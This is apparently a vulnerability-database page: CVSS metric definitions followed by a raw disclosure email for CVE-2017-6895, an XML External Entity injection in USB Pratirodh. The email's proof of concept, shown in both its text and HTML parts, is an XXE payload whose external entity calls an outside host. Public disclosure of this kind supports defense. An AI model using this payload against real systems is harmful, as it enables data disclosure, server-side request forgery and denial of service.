The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
USB Pratirodh XXE Injection--001a113ff018269a92054ac84a6a
Content-Type: text/plain; charset=UTF-8
Vulnerability Title: USB Pratirodh XML External Entity Injection
Vulnerability
Affected Product: USB Pratirodh
Product Homepage: https://cdac.in/index.aspx?id=cs_eps_usb_pra
CVE-ID : CVE-2017-6895
Severity: Medium
Class: XXE [CWE-611]
Impact: XML External Entity, Information Disclosure, Denial Of Service,
Author: Sachin Wagh (@tiger_tigerboy)
*Description:*
USB Pratirodh is prone to an XML External Entity injection vulnerability.
XXE attack is an attack on an application that parses XML input from
untrusted sources using incorrectly configured XML parser. This attack may
lead to the disclosure of confidential data, denial of service, server side
request forgery, port scanning from the perspective of the machine where
the parser is located, and other system impacts.
Proof of Concept:
Added below code after xml tag in to the usb.xml file.
*<!DOCTYPE foo [ *
* <!ELEMENT foo ANY >*
* <!ENTITY xxe SYSTEM "http://tigerboy.com/XXE <http://tigerboy.com/XXE>"
>]><foo>&xxe;</foo>*
*Reference:*
https://secur1tyadvisory.wordpress.com/2017/03/15/usb-pratirodh-xml-external-entity-injection-vulnerability/
*Credit:*
*Sachin Wagh (@tiger_tigerboy)*
--001a113ff018269a92054ac84a6a
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
<div dir=3D"ltr"><div><div class=3D"gmail_signature"><div dir=3D"ltr"><div =
dir=3D"ltr"><div dir=3D"ltr"><div style=3D"color:rgb(34,34,34);font-family:=
calibri;font-size:medium;font-style:normal;font-variant-ligatures:normal;fo=
nt-variant-caps:normal;font-weight:normal;letter-spacing:normal;line-height=
:normal;text-align:start;text-indent:0px;text-transform:none;white-space:no=
rmal;word-spacing:0px;background-color:rgb(255,255,255)"></div><div dir=3D"=
ltr">Vulnerability Title: USB Pratirodh XML External Entity Injection Vulne=
rability</div><div dir=3D"ltr">Affected Product: USB Pratirodh</div><div di=
r=3D"ltr">Product Homepage: <a href=3D"https://cdac.in/index.aspx?id=3Dcs_e=
ps_usb_pra">https://cdac.in/index.aspx?id=3Dcs_eps_usb_pra</a></div><div di=
r=3D"ltr">CVE-ID : CVE-2017-6895</div><div dir=3D"ltr">Severity: Medium</di=
v><div dir=3D"ltr">Class: XXE =C2=A0[CWE-611]</div><div dir=3D"ltr">Impact:=
XML External Entity, Information Disclosure, Denial Of Service,</div><div =
dir=3D"ltr">Author: Sachin Wagh (@tiger_tigerboy)</div><div dir=3D"ltr"><br=
></div><div dir=3D"ltr"><b>Description:</b></div><div dir=3D"ltr"><br></div=
><div dir=3D"ltr">USB Pratirodh is prone to an XML External Entity injectio=
n vulnerability.</div><div dir=3D"ltr">XXE attack is an attack on an applic=
ation that parses XML input from untrusted sources using incorrectly config=
ured XML parser. This attack may lead to the disclosure of confidential dat=
a, denial of service, server side request forgery, port scanning from the p=
erspective of the machine where the parser is located, and other system imp=
acts.</div><div dir=3D"ltr">Proof of Concept:</div><div dir=3D"ltr"><br></d=
iv><div dir=3D"ltr">Added below code after xml tag in to the usb.xml file.<=
/div><div dir=3D"ltr"><br></div><div dir=3D"ltr"><b><!DOCTYPE foo [=C2=
=A0</b></div><div dir=3D"ltr"><b>=C2=A0<!ELEMENT foo ANY ></b></div><=
div dir=3D"ltr"><b>=C2=A0<!ENTITY xxe SYSTEM "<a href=3D"http://tig=
erboy.com/XXE">http://tigerboy.com/XXE</a>" >]><foo>&x=
xe;</foo></b></div><div dir=3D"ltr">=C2=A0</div><div dir=3D"ltr"><b>R=
eference:</b></div><div dir=3D"ltr"><br></div><div dir=3D"ltr"><a href=3D"h=
ttps://secur1tyadvisory.wordpress.com/2017/03/15/usb-pratirodh-xml-external=
-entity-injection-vulnerability/">https://secur1tyadvisory.wordpress.com/20=
17/03/15/usb-pratirodh-xml-external-entity-injection-vulnerability/</a><br>=
</div><div dir=3D"ltr"><br></div><div dir=3D"ltr"><b>Credit:</b></div><div =
dir=3D"ltr"><b><br></b></div><div dir=3D"ltr"><b>Sachin Wagh (@tiger_tigerb=
oy)</b></div><div><br></div></div></div></div></div></div>
</div>
--001a113ff018269a92054ac84a6a--
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